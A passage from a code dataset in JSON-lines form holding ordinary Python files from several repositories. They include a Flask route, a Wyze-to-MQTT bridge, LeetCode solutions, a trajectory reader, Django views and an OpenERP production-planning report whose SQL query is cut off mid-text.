content is None):\n            raise Exception('Title and content was not null')\n\n        post = Post.query.get(id)\n        if (post is None):\n            raise Exception(f\"Cound not found post with id={id}\")\n        \n        post.title = title\n        post.content = content\n\n        db.session.commit()\n        return jsonify(post_schema.dump(post))\n    except Exception as e:\n        return {'error': str(e)}","repo_name":"sonnguyenbk/Flask-Api-Demo","sub_path":"route/post_route.py","file_name":"post_route.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"3952197402","text":"import paho.mqtt.client as mqtt\nimport json\nimport socket\nfrom wyzesense_custom import *\n\nimport sys\nimport logging\nlog = logging.getLogger(\"wyze-mqtt\")\n\ndiff = lambda l1, l2: [x for x in l1 if x not in l2]\n\ndef on_connect(client, userdata, flags, rc):\n    log.debug(\"Connected with result code \" + str(rc))\n    client.message_callback_add(config[\"subscribeScanTopic\"], on_message_scan)\n    client.message_callback_add(config[\"subscribeRemoveTopic\"], on_message_remove)\n    log.debug(\"Handlers Added\")\n\ndef on_disconnect(client, userdata, rc):\n    log.debug(\"Disconnected with result code \" + str(rc))\n    client.message_callback_remove(config[\"subscribeScanTopic\"])\n    client.message_callback_remove(config[\"subscribeRemoveTopic\"])\n    log.debug(\"Handlers Removed\")\n\ndef on_message(client, userdata, msg):\n    log.debug(msg.topic+\" \" + str(msg.payload))  \n\ndef on_message_scan(client, userdata, msg):\n    log.debug(\"In on_message_scan: {0}\".format(msg.payload.decode()))\n    prescan_result = ws.List()\n    log.debug(\"Result of prescan {0}\".format(prescan_result))   \n\n    ws.Scan()\n    postscan_result = ws.List()\n    log.debug(\"Result of postscan {0}\".format(postscan_result))  \n\n    s = diff(postscan_result, prescan_result)  \n    log.debug(\"Diff is {0}\".format(s))  \n\n    if s != []:\n        jsonData = json.dumps({\"macs\": s})\n        topic = \"home/wyze/newdevice\" \n        log.debug(jsonData)\n        client.publish(topic , jsonData)\n    else:\n        log.debug(\"Empty Scan\")\n\ndef on_message_remove(client, userdata, msg):\n    log.debug(msg.topic+\" \" + str(msg.payload))          \n\ndef read_config():\n    with open(\"config.json\") as config_file:\n        data = json.load(config_file)\n    return data\n\nconfig = read_config()\nclient = mqtt.Client(config[\"mqtt\"][\"client\"])\nclient.username_pw_set(username=config[\"mqtt\"][\"user\"], password=config[\"mqtt\"][\"password\"])\nclient.connect(config[\"mqtt\"][\"host\"], config[\"mqtt\"][\"port\"], keepalive=120)    \n\nclient.subscribe([(config[\"subscribeScanTopic\"], 1), (config[\"subscribeRemoveTopic\"],1)])\nclient.on_connect = on_connect\nclient.on_disconnect = on_disconnect\nclient.on_message = on_message\n\n\ndef on_event(ws, event):\n    log.debug(\"In Event\")\n    if event.Type == 'state':\n        try:\n            (sensor_type, sensor_state, sensor_battery, sensor_signal) = event.Data\n            data = {\n                \"available\": True,\n                \"mac\": event.MAC,\n                \"state\": 1 if sensor_state == \"open\" or sensor_state == \"active\" else 0,\n                \"device class\": \"device motion\" if sensor_type == \"motion\" else \"device door\",\n                \"device class timestamp\": event.Timestamp.isoformat(),\n                \"rsssi\": sensor_signal * -1,\n                \"battery level\": sensor_battery\n            }\n\n            jsonData = json.dumps(data)\n            topic = config[\"publishTopic\"]+\"{0}\".format(event.MAC)\n            log.debug(data)\n            client.publish(topic , payload = jsonData, retain = True)\n        except TimeoutError as err:\n            log.debug(err)\n        except socket.timeout as err:            \n            log.debug(err)\n        except: # catch *all* exceptions\n            e = sys.exc_info()[0]\n            log.debug(\"Error: {0}\".format(e))\n\n\ndef beginConn():\n    log.debug(\"In beginConn\")\n    return Open(config[\"usb\"], on_event)\n\n#Connect to USB\nws = beginConn()\n\n# Message Loop\nlog.debug(\"Loop Forever\")\nclient.loop_forever()","repo_name":"ozczecho/wyze-mqtt","sub_path":"wyze-mqtt.py","file_name":"wyze-mqtt.py","file_ext":"py","file_size_in_byte":3428,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"37"}
+{"seq_id":"37967801535","text":"# -*- coding: UTF-8 -*-\n'''\n@Project ：leetcode- \n@File    ：215.py\n@IDE     ：PyCharm \n@Author  ：linsongrong\n@Date    ：2021/8/10 10:45 \n'''\n\nclass Solution(object):\n    def findKthLargest(self, nums, k):\n        \"\"\"\n        :type nums: List[int]\n        :type k: int\n        :rtype: int\n        \"\"\"\n        self.topk_spilt(nums, len(nums)-k, 0, len(nums)-1)\n        return nums[len(nums)-k]\n\n\n    def partition(self, nums, left, right):\n        pivot = nums[left] #初始化基准\n        l, r = left, right\n        while l < r:\n            while(l < r and nums[r] >= pivot):#从后往前查找，直到找到一个比pivot更小的数\n                r -= 1\n            nums[l] = nums[r] #将更小的数放入左边\n            while(l < r and nums[l] <= pivot):\n                l += 1\n            nums[r] = nums[l]\n        nums[l] = pivot\n        return l\n\n    def quicksort(self, nums, left, right):\n        if left < right:\n            index = self.parttition(nums, left, right)\n            self.quicksort(nums, left, index - 1)\n            self.quicksort(nums, index + 1, right)\n        return nums\n\n    def topk_split(self, nums, k, left, right):\n        \"\"\"\n        将快速排序改成快速选择，即我们希望寻找到一个位置，\n        这个位置左边是k个比这个位置上的数更小的数，右边是n-k个比该位置上的数大的数\n        :param nums:\n        :param k:\n        :param left:\n        :param right:\n        :return:\n        \"\"\"\n        if (left < right):\n            index = self.partition(nums, left, right)\n            if index == k:\n                return\n            elif index < k:\n                self.topk_split(nums, k, index + 1, right)\n            else:\n                self.topk_split(nums, k, left, index - 1)\n\n\ndef quick_sort(list):\n    less = []\n    pivotList = []\n    more = []\n    # 递归出口\n    if len(list) <= 1:\n        return list\n    else:\n        # 将第一个值做为基准\n        pivot = list[0]\n        for i in list:\n            # 将比急转小的值放到less数列\n            if i < pivot:\n                less.append(i)\n            # 将比基准打的值放到more数列\n            elif i > pivot:\n                more.append(i)\n            # 将和基准相同的值保存在基准数列\n            else:\n                pivotList.append(i)\n        # 对less数列和more数列继续进行排序\n        less = quick_sort(less)\n        more = quick_sort(more)\n        return less + pivotList + more\n\nif __name__ == '__main__':\n    arr = [1,5,8,1,36,7]\n    print(quick_sort(arr))\n","repo_name":"Linsongrong/leetcode-","sub_path":"数组/215.py","file_name":"215.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"7800745335","text":"import numpy as np\nimport itertools as it\n\n#from xdrfile.libxdrfile2 import xdrfile_open, xdrfile_close, read_xtc_natoms, read_xtc_numframes, read_xtc, DIM, exdrOK\n\nclass XtcError(Exception):\n    pass\n\nclass Reader(object):\n\n    def __init__(self, filename, **kwargs):\n        raise NotImplementedError\n        try:\n            import xdrfile.libxdrfile2 as libxdr\n        except ImportError:\n            raise ImportError(\"libxdrfile2 library needed for xtc trajectories!\")\n\n        self.filename = filename\n        self.velocities = False\n        self.file = libxdr.xdrfile_open(filename, 'r')\n        self.natoms = libxdr.read_xtc_natoms(self.filename)\n        self.nframes, self.offsets = libxdr.read_xtc_numframes(self.filename)\n        self.box = np.zeros((3,3),dtype=np.float32)\n        self.config = np.zeros((self.natoms,3),dtype=np.float32)\n\n    @property\n    def box(self):\n        raise NotImplementedError\n\n    def read(self):\n        config,status = self.next()\n        while status == libxdr.exdrOK:\n            yield config\n            config,status = self.next()\n\n    def next(self):\n        status = libxdr.read_xtc(self.file, self.box, self.config)[0]\n        return np.array(self.config,copy=True,dtype=np.float64), status\n\n    def _skip(self):\n        ## NOT DONE.\n        try:\n            self.file.next()\n        except StopIteration:\n            return None\n\n        try:\n            self.file.next()\n        except StopIteration:\n            raise XtcError(\"File ended unexpectedly when reading box line.\")\n        return None\n\n\n    def readlines(self, *args):\n        if len(args) == 0:\n            configs = np.zeros((self.nframes,self.natoms,3),dtype=np.float64)\n            config, status = self.next()\n            i = 0\n            while status == libxdr.exdrOK:\n                configs[i,:,:] = config\n                config, status = self.next()\n                i += 1\n        elif len(args) == 1:\n            lines = args[0]\n            if isinstance(lines, int):\n                lines = [lines]\n            else:\n                lines = list(set(lines))\n                lines.sort()\n            lines = np.array(lines)\n            lines = np.hstack((-1, lines))\n            sklines = np.diff(lines) - 1\n            configs = []\n            for skline in sklines:\n                for idx in xrange(skline):\n                    self._skip()\n                config = self.next()\n                configs.append(config)\n        else:\n            raise XtcError(\"invalid number of arguments to readlines\")\n\n        return configs\n\n    def close(self):\n        libxdr.xdrfile_close(self.file)\n\n    def __iter__(self):\n        return self.read()\n\n    readline = next\n","repo_name":"ClementiGroup/LSDMap-DM-d-MD","sub_path":"lsdmap/rw/xtc.py","file_name":"xtc.py","file_ext":"py","file_size_in_byte":2693,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"}
+{"seq_id":"29639620562","text":"from django.urls import path\nfrom .views import *\n\napp_name='main'\nurlpatterns = [\n    path('', main, name=\"showmain\"), #main - views.py , showmain - template \n    path('show/', show, name=\"showintro\"),\n    path('detail/<int:id>/', detail, name=\"detail\"),\n    #path('posts/', posts, name=\"posts\"),\n    path('new/', new, name=\"new\"),\n    path('create/', create, name=\"create\"),\n    path('edit/<int:id>/', edit, name=\"edit\"),\n    path('update/<int:id>/', update, name=\"update\"),\n    path('delete/<int:id>/', delete, name=\"delete\"),\n]\n","repo_name":"ufo305/2022-sns-project","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"40595646303","text":"import itertools\n\nfrom django.shortcuts import render\nfrom django.views.generic import ListView\nfrom django.views.generic.detail import DetailView\nfrom .models import Project, Candidate, Team, Skill\nfrom django.core import serializers\n\n# Create your views here.\n\nall_projects = Project.objects.all()\n\ndef proj_overlap(project, all_projects):\n    start = project.start_date\n    end = project.end_date\n\n    overlap_projects = []\n\n    #print(all_projects)\n\n    for p in all_projects:\n        if (start <= p.end_date and end >= p.start_date):\n            overlap_projects += [p]\n\n    return overlap_projects\n\ndef total_rate(team):\n    total = 0\n    for candidate in team:\n        total += candidate.rate\n\n    return total\n\ndef avg_exp(team):\n    total = 0\n    for candidate in team:\n        total += candidate.years_exp\n\n    return total / len(team)\n\ndef matched_team(project):\n    #   1) Find available candidates\n    #      - If a candidate is assigned to a project that conflicts with the one we are concerned with, they are not considered\n    #   2) for skill in candidate.skills if candidates_skills in required_skills then add to consideration\n    #   3) Find all the combinations of size n that meet the skill requirements starting from n=1 and going up until you have several team options\n    #   4) Find the min/max of target attributes (price, experience, etc)\n    # project = Project.objects.get(slug=slug)\n    all_candidates = Candidate.objects.all()\n    # candidate will return object <Candidate: Name (index)>\n    # >>> emily = Candidate.objects.get(first_name=\"Emily\")\n    # >>> emily.first_name\n    # 'Emily'\n    # >>> emily_projects = emily.current_proj.all()\n    # >>> emily_projects\n    # returns -> <QuerySet [<Project: Project 1>]>\n    # >>> emily_projects[0]\n    # >>> emily_projects[0].name\n    # 'Emily'\n    # <Project: Project 1> == <Project: Project 1>\n    # candidate.current_proj.all()\n    # returns <QuerySet [<Project: Project 1>]>\n    overlap_projects = proj_overlap(project, all_projects)\n\n    for i, candidate in enumerate(all_candidates):\n        if candidate.current_proj.all() in overlap_projects and candidate.skills.all() not in project.skills_req.all():\n            all_candidates.pop(i)\n\n    count = 0\n    for j in range(1, 4):\n        if count >= 10:\n            break\n        print(j)\n        combos = itertools.combinations(all_candidates, j)\n        for combo in combos:\n            if count >= 10:\n                break\n            total_skills = []\n            valid = True\n            for candidate in combo:\n                total_skills += candidate.skills.all()\n            for skill in project.skills_req.all():\n                if skill not in total_skills:\n                    valid = False\n            if valid:\n                print('SUCCESS')\n                count += 1\n                new_team = Team(avg_experience=avg_exp(combo), total_rate=total_rate(combo))\n                new_team.save()\n\n                project.team.add(new_team)\n\n                for s in total_skills:\n                    new_team.total_skills.add(s)\n                for m in combo:\n                    new_team.members.add(m)\n            else:\n                pass\n                print('INVALID')\n                print('needed: ' + str(project.skills_req.all()))\n                print('total: ' + str(total_skills))\n                print(combo)\n                print('---------------')\n\n\ndef index(request):\n    \"\"\"\n    data_proj = serializers.serialize(\"json\", Project.objects.all())\n    data_team = serializers.serialize(\"json\", Team.objects.all())\n    data_skil = serializers.serialize(\"json\", Skill.objects.all())\n    data_cand = serializers.serialize(\"json\", Candidate.objects.all())\n\n    with open('a.txt', 'w') as f:\n        f.write(data_cand)\n        \"\"\"\n    return render(request, 'team_finder/index.html', {\n\n    })\n\nclass ProjectsView(ListView):\n    model = Project\n    template_name = 'team_finder/projects.html'\n    context_object_name = 'projects'\n\nclass ProjectDetail(DetailView):\n    model = Project\n    template_name = 'team_finder/project-detail.html'\n    all_projects = Project.objects.all()\n\n    def get_context_data(self, **kwargs):\n        context = super(ProjectDetail, self).get_context_data(**kwargs)\n        matched_team(self.object)\n        return context\n\nclass CandidatesView(ListView):\n    model = Candidate\n    template_name = 'team_finder/candidates.html'\n    context_object_name = 'candidates'\n","repo_name":"mkilgus5750/Project-Management-Borderhacks","sub_path":"team_finder/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"17490025803","text":"\"\"\"\nDefinition of TreeNode:\nclass TreeNode:\n    def __init__(self, val):\n        self.val = val\n        self.left, self.right = None, None\n\"\"\"\n\n\nclass Solution:\n    \"\"\"\n    @param: root: The root of binary tree\n    @return: An integer\n    \"\"\"\n    def minDepth(self, root):\n        ans = 0\n        if not root:\n            return ans\n\n        queue = [root]\n        while queue:\n            _queue = []\n            ans += 1\n\n            for node in queue:\n                if not node.left and not node.right:\n                    return ans\n                if node.left:\n                    _queue.append(node.left)\n                if node.right:\n                    _queue.append(node.right)\n\n            queue = _queue\n\n        return ans\n\n\nclass Solution:\n    \"\"\"\n    @param: root: The root of binary tree\n    @return: An integer\n    \"\"\"\n    def minDepth(self, root):\n        if not root:\n            return 0\n\n        if not root.left and not root.right:\n            return 1\n\n        left = self.minDepth(root.left)\n        right = self.minDepth(root.right)\n\n        if left == 0:\n            return right + 1\n        if right == 0:\n            return left + 1\n\n        return min(left, right) + 1\n","repo_name":"jaychsu/algorithm","sub_path":"lintcode/155_minimum_depth_of_binary_tree.py","file_name":"155_minimum_depth_of_binary_tree.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"37"}
+{"seq_id":"9964705169","text":"from osv import fields, osv\nfrom report import report_sxw\nimport pooler\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\nimport time\nfrom operator import itemgetter\nfrom itertools import groupby\nfrom report_webkit import webkit_report\nfrom tools.translate import _\nimport netsvc\nimport tools\nimport decimal_precision as dp\nimport logging\nfrom dateutil import tz\nfrom openerp.tools import DEFAULT_SERVER_DATE_FORMAT, DEFAULT_SERVER_DATETIME_FORMAT, DATETIME_FORMATS_MAP\n\nclass production_planning_parser(report_sxw.rml_parse):\n    def __init__(self, cr, uid, name, context=None):\n        super(production_planning_parser, self).__init__(cr, uid, name, context=context)\n        self.localcontext.update({\n            'time': time,\n            'get_object' : self._get_object,\n            'get_goods_type': self._get_goods_type,\n            'get_as_on': self._get_as_on,\n            'get_data_so': self._get_data_so,\n            'get_product_qty': self._get_product_qty,\n            'get_product_sale_price': self._get_product_sale_price,\n            'get_product_cost_price': self._get_product_cost_price,\n            'get_product_net_price': self._get_product_net_price,\n            'get_so_line': self._get_so_line,\n            'get_move_ids': self._get_move_ids,\n            'get_view': self._get_view,\n            'xdate': self._xdate,\n            'get_title': self._get_title,            \n            'uom_to_bales': self._uom_to_bales,            \n            'uom_to_base': self._uom_to_base,            \n            'price_per_bales': self._price_per_bales,\n            'price_per_base': self._price_per_base,            \n            'get_company': self._get_company, \n            'get_uom_base': self._get_uom_base,           \n            'get_price_base': self._get_price_base, \n            'get_print_user_time': self._get_print_user_time,          \n        })\n        \n    def _get_print_user_time(self,context=None):\n        cr = self.cr\n        uid = self.uid\n        curr_user = self.pool.get('res.users').browse(cr, uid, [uid], context=context)[0]\n        localtz = tz.tzlocal()\n        print_user_time = 'Printed By ' + curr_user.partner_id.name + ' On ' + datetime.now(localtz).strftime('%d/%m/%Y %H:%M')\n        return print_user_time\n\n    def _xdate(self,x):\n        try:\n            x1 = x[:10]\n        except:\n            x1 = ''\n\n        try:\n            y = datetime.strptime(x1,'%Y-%m-%d').strftime('%d/%m/%Y')\n        except:\n            y = x1\n        return y\n\n    def _get_title(self,sheet):\n        if sheet == 'customer':\n            return 'PRODUCTION PLANNING - CUSTOMER WISE'\n        elif sheet == 'product':\n            return 'PRODUCTION PLANNING - PRODUCT WISE'\n        elif sheet == 'contract':\n            return 'PRODUCTION PLANNING - CONTRACT WISE'\n\n    def _get_uom_base(self,data):\n        if data['form']['sale_type'] == 'export':\n          uom_base = 'BALES'\n        elif data['form']['sale_type'] == 'local':\n          uom_base = 'BALES'\n        else:\n          uom_base = 'KGS'\n        return uom_base\n\n    def _get_price_base(self,data):\n        if data['form']['sale_type'] == 'export':\n          price_base = 'US$/KG'\n        elif data['form']['sale_type'] == 'local':\n          price_base = 'US$/BALE'\n        else:\n          price_base = 'US$/KG'\n        return price_base\n\n    def _uom_to_bales(self,qty,uom_source):\n        cr = self.cr\n        uid = self.uid\n        bale = self.pool.get('product.uom').search(cr,uid,[('name','=','BALES')])\n        qty_result = self.pool.get('product.uom')._compute_qty(cr, uid, uom_source, qty, to_uom_id=bale and bale[0] or False)\n        return qty_result\n\n    def _uom_to_base(self,data,qty,uom_source):\n        cr = self.cr\n        uid = self.uid\n        if data['form']['sale_type'] == 'export':\n          uom_base = 'BALES'\n        elif data['form']['sale_type'] == 'local':\n          uom_base = 'BALES'\n        else:\n          uom_base = 'KGS'\n        base = self.pool.get('product.uom').search(cr,uid,[('name','=',uom_base)])\n        qty_result = self.pool.get('product.uom')._compute_qty(cr, uid, uom_source, qty, to_uom_id=base and base[0] or False)\n        return qty_result\n\n    def _price_per_bales(self,price,uom_source):\n        cr = self.cr\n        uid = self.uid\n        bale = self.pool.get('product.uom').search(cr,uid,[('name','=','BALES')])\n        qty_result = self.pool.get('product.uom')._compute_qty(cr, uid, uom_source, 1000.0, to_uom_id=bale and bale[0] or False)\n        if qty_result>0:\n          price_result = price*1000.0/qty_result \n        else:\n          price_result = price \n        return price_result\n\n    def _price_per_base(self,data,price,uom_source):\n        cr = self.cr\n        uid = self.uid\n        if data['form']['sale_type'] == 'export':\n          uom_base = 'KGS'\n        elif data['form']['sale_type'] == 'local':\n          uom_base = 'BALES'\n        else:\n          uom_base = 'KGS'\n        base = self.pool.get('product.uom').search(cr,uid,[('name','=',uom_base)])\n        qty_result = self.pool.get('product.uom')._compute_qty(cr, uid, uom_source, 1000.0, to_uom_id=base and base[0] or False)\n        if qty_result>0:\n          price_result = price*1000.0/qty_result \n        else:\n          price_result = price \n        return price_result\n\n    def _get_object(self,data):\n        obj_data=self.pool.get(data['model']).browse(self.cr,self.uid,[data['form']['id']])\n        return obj_data\n    \n    def _get_goods_type(self,data,context=None):\n        if data['form']['goods_type'] == 'finish':\n            return 'FINISH GOODS'\n        elif data['form']['goods_type'] == 'raw':\n            return 'RAW MATERIAL'\n        elif data['form']['goods_type'] == 'service':\n            return 'SERVICES'\n        elif data['form']['goods_type'] == 'waste':\n            return 'WASTE'\n        elif data['form']['goods_type'] == 'scrap':\n            return 'SCRAP'\n        elif data['form']['goods_type'] == 'asset':\n            return 'FIXED ASSET'\n        else:\n            return ''\n        \n    def _get_as_on(self,data,context=None):\n        return datetime.strptime(data['form']['as_on'],'%Y-%m-%d').strftime('%d/%m/%Y')\n    \n    def _get_data_so(self,data,context=None):\n        sale_obj    = self.pool.get('sale.order')\n        sale_ids    = False\n#        if data['form']['sale_type'] == 'export':\n#            sale_ids        = sale_obj.search(self.cr, self.uid, [('state','not in',('draft','cancel')),\n#                                                        ('goods_type','=',data['form']['goods_type']),\n#                                                        ('sale_type','=',data['form']['sale_type']),\n#                                                        ('date_order','<=',data['form']['as_on'])])\n#        elif data['form']['sale_type'] == 'local':\n#            sale_ids        = sale_obj.search(self.cr, self.uid, [('state','not in',('draft','cancel')),\n#                                                        ('goods_type','=',data['form']['goods_type']),\n#                                                        ('sale_type','=',data['form']['sale_type']),\n#                                                        ('locale_sale_type','=',data['form']['locale_sale_type']),\n#                                                        ('date_order','<=',data['form']['as_on'])])\n\n        sale_ids = sale_obj.search(self.cr, self.uid, [('state','not in',('draft','cancel'))])\n        if sale_ids:\n            sale_data = sale_obj.browse(self.cr, self.uid,sale_ids)\n            return sale_data\n        else:\n            return {}\n\n    def _get_product_qty(self,data,form,context=None):\n        move_obj    = self.pool.get('stock.move')\n        product_uom = self.pool.get('product.uom')\n        move_data   = move_obj.browse(self.cr, self.uid,[data])[0]\n        return product_uom._compute_qty(self.cr,self.uid,move_data.product_uom.id,move_data.product_uos_qty,form['form']['def_uom'][0])\n    \n    def _get_product_sale_price(self,data,form,context=None):\n        move_obj    = self.pool.get('stock.move')\n        product_uom = self.pool.get('product.uom')\n        move_data   = move_obj.browse(self.cr, self.uid,[data])[0]\n        return product_uom._compute_price(self.cr,self.uid,move_data.product_uom.id,move_data.sale_line_id.price_unit,form['form']['def_uom'][0])\n    \n    def _get_product_cost_price(self,data,form,context=None):\n        move_obj    = self.pool.get('stock.move')\n        product_uom = self.pool.get('product.uom')\n        move_data   = move_obj.browse(self.cr, self.uid,[data])[0]\n        return product_uom._compute_price(self.cr,self.uid,move_data.product_uom.id,move_data.price_unit,form['form']['def_uom'][0])\n    \n    def _get_product_net_price(self,data,form,context=None):\n        move_obj    = self.pool.get('stock.move')\n        product_uom = self.pool.get('product.uom')\n        move_data   = move_obj.browse(self.cr, self.uid,[data])[0]\n        return product_uom._compute_price(self.cr,self.uid,move_data.product_uom.id,move_data.price_unit,move_data.product_id.uom_id.id)\n    \n    def _get_so_line(self,data,context=None):\n        sale_line_obj   = self.pool.get('sale.order.line')\n        sale_line_ids   = sale_line_obj.search(self.cr, self.uid,[('id','=',data)])\n        return sale_line_obj.browse(self.cr, self.uid,sale_line_ids)[0]\n    \n    def _get_move_ids(self,data,context=None):\n        sale_obj    = self.pool.get('sale.order')\n        pick_obj    = self.pool.get('stock.picking')\n        move_obj    = self.pool.get('stock.move')\n        sale_ids    = False\n        if data['form']['sale_type'] == 'export':\n            sale_ids        = sale_obj.search(self.cr, self.uid, [('state','not in',('draft','cancel')),\n                                                        ('goods_type','=',data['form']['goods_type']),\n                                                        ('sale_type','=',data['form']['sale_type']),\n                                                        ('date_order','<=',data['form']['as_on'])])\n        elif data['form']['sale_type'] == 'local':\n            sale_ids        = sale_obj.search(self.cr, self.uid, [('state','not in',('draft','cancel')),\n                                                        ('goods_type','=',data['form']['goods_type']),\n                                                        ('sale_type','=',data['form']['sale_type']),\n                                                        ('locale_sale_type','=',data['form']['locale_sale_type']),\n                                                        ('date_order','<=',data['form']['as_on'])])\n        if sale_ids:\n            picking_ids = pick_obj.search(self.cr,self.uid,[('sale_id','in',sale_ids)])\n            if picking_ids:\n                move_ids = move_obj.search(self.cr,self.uid,[('picking_id','in',picking_ids)],order=\"location_id asc,product_id asc\")\n                return move_obj.browse(self.cr,self.uid,move_ids)\n        return False\n\n    def _get_company(self,context=None):\n        self.cr.execute (\"select upper(b.name) as name \\\n                          from res_company a \\\n                          left join res_partner b on a.partner_id = b.id\")\n\n        res = self.cr.fetchone()\n        return res\n\n    def _get_view(self,data,sheet,context=None):\n        s = \"select \\\n                coalesce(slprod2.alias,slprod2.name,'') as loc_name, \\\n                pp.default_code as product_name, \\\n                pp.name_template as product_descr, \\\n                coalesce(sol.sequence_line,so.name) as name, \\\n                so.name as sale_order_name, \\\n                so.date_order, \\\n                coalesce(rp.partner_alias,rp.name) as customer_name, \\\n                coalesce(sol.est_delivery_date,so.max_est_delivery_date) as sale_order_lsd, \\\n                to_char(coalesce(sol.est_delivery_date,so.max_est_delivery_date),'MM-YYYY') as sale_order_lsp, \\\n                case when coalesce(sol.est_delivery_date::date,so.max_est_delivery_date::date)=dump_lc.schd_date then null \\\n                    else dump_lc.schd_date end as sale_order_scd, \\\n                case when coalesce(sol.est_delivery_date::date,so.max_est_delivery_date::date)=dump_lc.schd_date then coalesce(sol.est_delivery_date::date, \\\n                    so.max_est_delivery_date::date) \\\n                    else dump_lc.schd_date end as sale_order_scd_sort, \\\n                coalesce(packt.alias,packt.name) as packing_name, \\\n                sol.cone_weight,sol.product_uom_qty, sol.product_uom, \\\n                coalesce(pusol.name,'') as uom_name, \\\n                (sol.product_uom_qty-coalesce(dump_lc.total_shipped_lc_as_on,dum_smm.shipped_qty,0.0)) as bal_qty, \\\n                coalesce(dump_lc.shipped_lc_qty,dum_smm.shipped_qty,0.0) as shipped_qty, \\\n                sol.price_unit, \\\n                dump_lc.lc_qty, \\\n                (sol.product_uom_qty-coalesce(dump_lc.total_shipped_lc_as_on,dum_smm.shipped_qty,0.0))*sol.price_unit as bal_amount, \\\n                coalesce(scomm.commission_percentage,0.0) as commission_percentage, \\\n                (case when coalesce(scomm.comm_count,0)>1 then '*' else '' end) as comm_star, \\\n                coalesce(apt.alias,apt.name,'') as payment_term_name, \\\n                coalesce(rusp.name,'') as book_by,so.note, \\\n                coalesce(cs.alias,cs.name,'') as container_size_name, \\\n                ''::text as pay_status, \\\n                lch.rcvd_smg as lc_recvd_date, \\\n                coalesce(lcpl.est_delivery_date,lch.lc_ship_valid_date) as lc_lsd , \\\n                coalesce(mbc.name,'') as blend, \\\n                pp.count as count_id, \\\n                coalesce(port.name,coalesce(r.name,'')) as destination, \\\n                coalesce(sol.remarks,'') as remarks, \\\n                coalesce(mbc.name,'') || '/' || (case when coalesce(pp.count,0.0)>0 then cast(pp.count as text) else '-' end) as blend_count, \\\n                coalesce(mbc.name,'') || '/' || (case when coalesce(pp.count,0.0)>0 then cast(pp.count as text) else '-' end) || '/' || (case when coalesce(pp.sd_type,'')!='' then pp.sd_type else '-' end) as blend_count_sd, \\\n                coalesce(s.code,'') as incoterm, \\\n                pp.sd_type, \\\n                upper(left(sol.order_state,1)) as order_state \\\n                from sale_order_line sol \\\n                left join (select sale_line_id,sum(commission_percentage) as commission_percentage, \\\n                    count(sale_id) as comm_count \\\n                    from sale_order_agent \\\n                    group by sale_line_id) scomm on sol.id = scomm.sale_line_id \\\n                left join product_uom pusol on pusol.id=sol.product_uom \\\n                left join product_product pp on sol.product_id=pp.id \\\n                left join product_template pt on pp.product_tmpl_id=pt.id \\\n                inner join sale_order so on sol.order_id=so.id \\\n                left join account_payment_term apt on so.payment_term = apt.id \\\n                inner join res_partner rp on so.partner_shipping_id=rp.id \\\n                left join packing_type packt on sol.packing_type = packt.id \\\n                left join container_size cs on sol.container_size = cs.id \\\n                left join res_users rus on so.user_id=rus.id \\\n                left join res_partner rusp on rus.partner_id=rusp.id \\\n                left join (select * from ir_property where name='property_stock_production') ip \\\n                    on trim(ip.res_id) = 'product.template,' || trim(cast(pp.product_tmpl_id as text)) \\\n                left join (select id,name,alias from stock_location where usage='production') slprod \\\n                    on 'stock.location,' || (cast(slprod.id as text)) = trim(ip.value_reference) \\\n                left join (select id,name,alias from stock_location where usage='production') slprod2 \\\n                    on slprod2.id = sol.production_location \\\n                left join ( \\\n                        select dum1.*,dum2.total_shipped_lc_as_on,rank() OVER (PARTITION BY dum1.sol_id ORDER BY dum1.lc_prod_line_id DESC) \\\n                        from lc_shipment_sol(%s::timestamp,%s,%s) dum1 \\\n                        left join \\\n                            ( \\\n                            select xr.sol_id,min(xr.lc_lsd) as min_dt,sum(xr.shipped_lc_qty) as total_shipped_lc_as_on \\\n                            from lc_shipment_sol(%s::timestamp,%s,%s) xr group by xr.sol_id,xr.prod_id \\\n                            ) dum2 \\\n                            on \\\n                            dum2.sol_id=dum1.sol_id \\\n                            and dum1.lc_lsd=dum2.min_dt \\\n                    ) dump_lc on dump_lc.sol_id=sol.id and dump_lc.rank=1 \\\n                left join letterofcredit_product_line lcpl on lcpl.id=dump_lc.lc_prod_line_id \\\n                left join letterofcredit lch on lch.id = lcpl.lc_id \\\n                left join mrp_blend_code mbc on pp.blend_code = mbc.id \\\n                left join res_port port on so.dest_port_id = port.id \\\n                left join res_country r on so.dest_country_id = r.id \\\n                left join stock_incoterms s on so.incoterm = s.id \\\n                left join ( \\\n                    select \\\n                        smm.sale_line_id,smm.product_id, \\\n                        case when spm.type='out' then \\\n                            sum(round((coalesce(smm.product_qty,0.0)/pum2.factor)*pum1.factor,4)) \\\n                        else \\\n                            sum(round((coalesce(-1*smm.product_qty,0.0)/pum2.factor)*pum1.factor,4)) \\\n                        end as shipped_qty \\\n                    from stock_move smm \\\n                        left join sale_order_line solm on smm.sale_line_id=solm.id \\\n                        inner join stock_picking spm on smm.picking_id=spm.id \\\n                        inner join stock_location slm1 on smm.location_id=slm1.id \\\n                        inner join stock_location slm2 on smm.location_dest_id=slm2.id \\\n                        inner join product_uom pum1 on solm.product_uom=pum1.id \\\n                        inner join product_uom pum2 on smm.product_uom=pum2.id \\\n                    where \\\n                        smm.date::date<=%s::date and smm.state='done' \\\n                        and ((slm1.usage='internal' and slm2.usage='customer') or (slm1.usage='customer' and slm2.usage='internal')) \\\n                        and spm.goods_type=%s and spm.sale_type=%s \\\n                    group by smm.sale_line_id,smm.product_id,spm.type \\\n                    ) dum_smm on sol.id=dum_smm.sale_line_id and sol.product_id=dum_smm.product_id \\\n                 \\\n                where \\\n                so.state not in ('draft','cancel') and so.date_order::date <= %s\\\n                and to_char(so.date_order,'YYYY-MM-DD') <= substring(%s,1,10) \\\n                and ((so.date_done is 